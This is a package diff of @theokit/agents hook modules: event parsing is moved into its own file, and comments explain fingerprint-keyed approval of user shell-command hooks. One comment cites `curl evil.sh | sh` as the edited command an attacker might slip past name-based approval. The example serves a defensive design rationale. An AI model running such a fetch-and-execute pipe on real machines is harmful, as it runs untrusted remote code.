@theokit/agents 13.4.0 → 14.1.0

package/dist/hooks.d.ts

@@ -1,67 +1,45 @@
+import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
 import { TheokitAgentError } from '@theokit/sdk/errors';
 import { z } from 'zod';
-import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
 import '@theokit/sdk';
 
 /**
- * M75 — identity of a hook, for approval that cannot be inherited by mutation.
- *
- * ## Why a fingerprint and not a name
- *
- * Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
- * keyed by name — or by file path, or by position in a list — then editing the command afterwards
- * would inherit the approval. The user approves `npm test`, the file later says
- * `curl evil.sh | sh`, and it runs under a key that is already trusted.
- *
- * Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
- * the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
- * which is unapproved by construction.
+ * What a hook event IS, and how a declared spec parses.
  *
- * The timeout is included deliberately, even though it does not change what executes. A hook
- * re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
- * should be asked again.
- */
-/** The fields that decide what a hook does. Anything outside this is presentation. */
-interface HookIdentity {
-    readonly command: string;
-    readonly event: string;
-    /** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
-    readonly matcher?: string;
-    readonly timeoutMs: number;
-}
-/**
- * SHA-256 over the identity fields, in a fixed order.
+ * Split out of `hook-spec.ts` when that file reached 616 lines against the 600 its alignment brief
+ * caps it at (B-002 AC-007). The cut follows a boundary the file already had: this half references
+ * nothing below it, and the handler half uses exactly four names from here — a one-directional
+ * dependency, which is what made the cut safe rather than merely convenient.
  *
- * Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
- * engines or after a round-trip, and a fingerprint that changed with serialisation order would
- * silently un-approve every hook on some machines while leaving them approved on others.
+ * The other candidate was the observational half. It references `matches`, which is private — only
+ * `__matchesForTests` is exported — so extracting it would have forced that symbol public to satisfy
+ * a line count. Trading an invariant for a number is the wrong direction.
  */
-declare function hookFingerprint(identity: HookIdentity): string;
 
 /**
- * M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
+ * The events the seam exposes. Declared here so an unknown one fails loudly at parse.
  *
- * ## What the framework published before, and what it did not
+ * ## What this list cannot cover, and why (B-002 FR-004)
  *
- * A well-typed seam (`HookHandlers`, 8 events, `pre_tool_call` as the only veto) — and nothing else.
- * Every step between "the user wrote a command in a config file" and "that command runs, bounded,
- * trusted, and its output comes back safely to the model" belonged to the consumer: 828 lines
- * importing a SINGLE symbol from this package.
+ * There is no event that fires BEFORE the transcript is compacted, and none can be added from this
+ * package. Measured 2026-09-12 against `@theokit/sdk@5.5.0`: `HookName` is a closed union —
+ * `pre_tool_call`, `post_tool_call`, `pre_llm_call`, `post_llm_call`, `on_session_start`,
+ * `on_session_end`, `transform_tool_result`, `transform_llm_output`, `pre_user_send`,
+ * `post_assistant_reply` — with no compaction member, and `PluginContext.on` keys its callback by
+ * that union. A name this package invented would not type-check there, and a name it smuggled past
+ * the types would bind to a dispatch that never fires it.
  *
- * ## Denial is the default, and it is not a formality
+ * The SDK's own auto-compaction path is further out of reach: it is bundle-internal, absent from
+ * every emitted `.d.ts` and all 33 export subpaths, and builds its own summarizer at the call site.
+ * Even once a hook NAME exists, that path is not a dispatch a consumer can reach.
  *
- * This module makes the framework execute ARBITRARY USER COMMANDS. Two gates stand in front of that,
- * and both fail closed:
+ * So a consumer who needs to persist state before compaction cannot do it through this list today.
+ * `usetheokit/theokit-sdk#653` is the issue that unblocks it — it carries the nine candidate seams
+ * that were enumerated and ruled out, so a reader arrives at the reasoning rather than repeating it.
  *
- * - `trusted` — the directory-level decision from M68/M73. Untrusted directory, no hooks.
- * - `approved` — the per-hook fingerprint set. It is a REQUIRED argument, not an optional one with
- *   a permissive default: an optional gate is a gate somebody forgets, and forgetting this one runs
- *   a stranger's shell command.
- *
- * Approval is keyed by fingerprint precisely so it cannot be inherited by mutation — see
- * `hook-fingerprint.ts`.
+ * `config/context-pressure.ts` MEASURES how close a run is to its window and is the composition
+ * point the seam should use when it lands — it must not re-derive the ratio.
  */
-/** The eight events the seam exposes. Declared here so an unknown one fails loudly at parse. */
 declare const HOOK_EVENTS: readonly ["pre_tool_call", "post_tool_call", "transform_tool_result", "transform_llm_output", "on_session_start", "on_session_end", "pre_user_send", "post_assistant_reply"];
 type HookEvent = (typeof HOOK_EVENTS)[number];
 /** Default per-hook wall clock, measured from the consumer this was ported from. */
@@ -114,6 +92,65 @@ declare class HookSpecError extends TheokitAgentError {
  * hook at all — it is the failure mode `G10` (honest enforcement) exists to forbid.
  */
 declare function parseHookSpecs(input: unknown): HookSpec[];
+
+/**
+ * M75 — identity of a hook, for approval that cannot be inherited by mutation.
+ *
+ * ## Why a fingerprint and not a name
+ *
+ * Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
+ * keyed by name — or by file path, or by position in a list — then editing the command afterwards
+ * would inherit the approval. The user approves `npm test`, the file later says
+ * `curl evil.sh | sh`, and it runs under a key that is already trusted.
+ *
+ * Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
+ * the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
+ * which is unapproved by construction.
+ *
+ * The timeout is included deliberately, even though it does not change what executes. A hook
+ * re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
+ * should be asked again.
+ */
+/** The fields that decide what a hook does. Anything outside this is presentation. */
+interface HookIdentity {
+    readonly command: string;
+    readonly event: string;
+    /** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
+    readonly matcher?: string;
+    readonly timeoutMs: number;
+}
+/**
+ * SHA-256 over the identity fields, in a fixed order.
+ *
+ * Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
+ * engines or after a round-trip, and a fingerprint that changed with serialisation order would
+ * silently un-approve every hook on some machines while leaving them approved on others.
+ */
+declare function hookFingerprint(identity: HookIdentity): string;
+
+/**
+ * M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
+ *
+ * ## What the framework published before, and what it did not
+ *
+ * A well-typed seam (`HookHandlers`, 8 events, `pre_tool_call` as the only veto) — and nothing else.
+ * Every step between "the user wrote a command in a config file" and "that command runs, bounded,
+ * trusted, and its output comes back safely to the model" belonged to the consumer: 828 lines
+ * importing a SINGLE symbol from this package.
+ *
+ * ## Denial is the default, and it is not a formality
+ *
+ * This module makes the framework execute ARBITRARY USER COMMANDS. Two gates stand in front of that,
+ * and both fail closed:
+ *
+ * - `trusted` — the directory-level decision from M68/M73. Untrusted directory, no hooks.
+ * - `approved` — the per-hook fingerprint set. It is a REQUIRED argument, not an optional one with
+ *   a permissive default: an optional gate is a gate somebody forgets, and forgetting this one runs
+ *   a stranger's shell command.
+ *
+ * Approval is keyed by fingerprint precisely so it cannot be inherited by mutation — see
+ * `hook-fingerprint.ts`.
+ */
 interface BuildHookHandlersOptions {
     /** Working directory the commands run in. */
     readonly cwd: string;

package/dist/hooks.js

@@ -12,8 +12,52 @@ import {
 
 // src/hooks/hook-spec.ts
 import { randomBytes } from "crypto";
+
+// src/hooks/hook-events.ts
 import { TheokitAgentError } from "@theokit/sdk/errors";
 import { z } from "zod";
+var HOOK_EVENTS = [
+  "pre_tool_call",
+  "post_tool_call",
+  "transform_tool_result",
+  "transform_llm_output",
+  "on_session_start",
+  "on_session_end",
+  "pre_user_send",
+  "post_assistant_reply"
+];
+var DEFAULT_HOOK_TIMEOUT_MS = 3e4;
+var DEFAULT_CONTINUATION_BUDGET = 3;
+var hookSpecSchema = z.object({
+  event: z.enum(HOOK_EVENTS),
+  command: z.string().min(1).refine((value) => !/[\u0000-\u001f\u007f]/.test(value), {
+    message: "command contains control characters that would be hidden in the approval dialog"
+  }),
+  /** Selector for which tools/messages this fires on. Absent means all. */
+  matcher: z.string().optional(),
+  timeout_ms: z.number().int().positive().default(DEFAULT_HOOK_TIMEOUT_MS)
+}).strict();
+var HookSpecError = class extends TheokitAgentError {
+  static {
+    __name(this, "HookSpecError");
+  }
+  name = "HookSpecError";
+  constructor(message) {
+    super(message, {
+      code: "HOOK_SPEC_INVALID",
+      // A typo in a config file is not a transient condition.
+      isRetryable: false
+    });
+  }
+};
+function parseHookSpecs(input) {
+  const parsed = z.array(hookSpecSchema).safeParse(input);
+  if (!parsed.success) {
+    throw new HookSpecError(`invalid hook configuration: ${parsed.error.issues.map((issue) => `${issue.path.join(".")}: ${issue.message}`).join("; ")}`);
+  }
+  return parsed.data;
+}
+__name(parseHookSpecs, "parseHookSpecs");
 
 // src/hooks/hook-fingerprint.ts
 import { createHash } from "crypto";
@@ -136,48 +180,6 @@ function unwiredEventAdvice(event, reasons = UNWIRED_EVENT_REASONS) {
 __name(unwiredEventAdvice, "unwiredEventAdvice");
 
 // src/hooks/hook-spec.ts
-var HOOK_EVENTS = [
-  "pre_tool_call",
-  "post_tool_call",
-  "transform_tool_result",
-  "transform_llm_output",
-  "on_session_start",
-  "on_session_end",
-  "pre_user_send",
-  "post_assistant_reply"
-];
-var DEFAULT_HOOK_TIMEOUT_MS = 3e4;
-var DEFAULT_CONTINUATION_BUDGET = 3;
-var hookSpecSchema = z.object({
-  event: z.enum(HOOK_EVENTS),
-  command: z.string().min(1).refine((value) => !/[\u0000-\u001f\u007f]/.test(value), {
-    message: "command contains control characters that would be hidden in the approval dialog"
-  }),
-  /** Selector for which tools/messages this fires on. Absent means all. */
-  matcher: z.string().optional(),
-  timeout_ms: z.number().int().positive().default(DEFAULT_HOOK_TIMEOUT_MS)
-}).strict();
-var HookSpecError = class extends TheokitAgentError {
-  static {
-    __name(this, "HookSpecError");
-  }
-  name = "HookSpecError";
-  constructor(message) {
-    super(message, {
-      code: "HOOK_SPEC_INVALID",
-      // A typo in a config file is not a transient condition.
-      isRetryable: false
-    });
-  }
-};
-function parseHookSpecs(input) {
-  const parsed = z.array(hookSpecSchema).safeParse(input);
-  if (!parsed.success) {
-    throw new HookSpecError(`invalid hook configuration: ${parsed.error.issues.map((issue) => `${issue.path.join(".")}: ${issue.message}`).join("; ")}`);
-  }
-  return parsed.data;
-}
-__name(parseHookSpecs, "parseHookSpecs");
 var IGNORE_WARNING = /* @__PURE__ */ __name(() => void 0, "IGNORE_WARNING");
 var WIRED_EVENT_LIST = [
   "pre_tool_call",

package/dist/hooks.js.map

@@ -1 +1 @@
-{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts","../src/hooks/unwired-events.ts","../src/hooks/approval-store.ts"],"mappings":"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